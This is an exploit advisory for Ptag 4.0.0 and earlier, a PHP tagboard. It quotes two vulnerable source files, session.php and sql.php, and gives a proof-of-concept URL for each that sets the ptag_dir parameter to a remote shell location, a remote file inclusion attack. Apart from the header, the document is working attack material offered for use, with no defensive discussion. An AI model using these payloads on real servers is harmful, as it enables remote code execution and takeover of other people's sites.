Ptag <= 4.0.0 Multiple RFI Exploit

==================================
Ptag <= 4.0.0 Multiple RFI Exploit
==================================

##################################################################
## Exploit Title: Ptag <= 4.0.0 Multiple RFI Exploit            ##
## Date: 19-12-2009                                             ##
## Author: cr4wl3r                                              ##
## Software Link: http://sourceforge.net/projects/ptag/         ##
## Version: N/A                                                 ##
## Tested on: GNU/LINUX                                         ##
##################################################################
 
 
~ Code [session.php]
 
<?php
//Plottable Tagboard Systems Version 4.0.0 - ROLAND
//Session handling File
 
require_once(ptag_dir."lib/php/crossSession.php");
class ptag_session extends crossSession{
    public function __construct(){
        global $ptag_sql;
        $this -> sql_table = ptag_prefix."session";
        $this -> cookie_name = ptag_prefix."session";
         
        //If RSS mode, switch session to non-viewed tracker.
        if (ptag_output == "rss"){
            parent::__construct($ptag_sql, sha1(""));
        }
        else{
            parent::__construct($ptag_sql);
        }
    }
}
?>
 
~ PoC
 
[Ptag_path]/lib/session.php?ptag_dir=[Shell]
 
 
 
 
~ Code [sql.php]
 
<?php
//Plottable Tagboard Systems Version 4.0.0 - ROLAND
//Extending MySQL class
 
require_once(ptag_dir."lib/php/ezmySQL.php");
class ptag_sql extends ezmySQL{
 
    public function __construct(){
        parent::__construct(ptag_mysql_host, ptag_mysql_user, ptag_mysql_pass, ptag_mysql_db);
    }
     
    protected function error_handler($err){
        $error = "A MySQL error has occured: (".$err["errno"].") ".$err["error"]." when executing the query: ".$err["query"];
         
        return ptag_exception::handle_error($error, $err["line"], $err["file"], $err["class"], $err["method"]);
    }
}
?>
 
 
~ PoC
 
[Ptag_path]/lib/sql.php?ptag_dir=[Shell]



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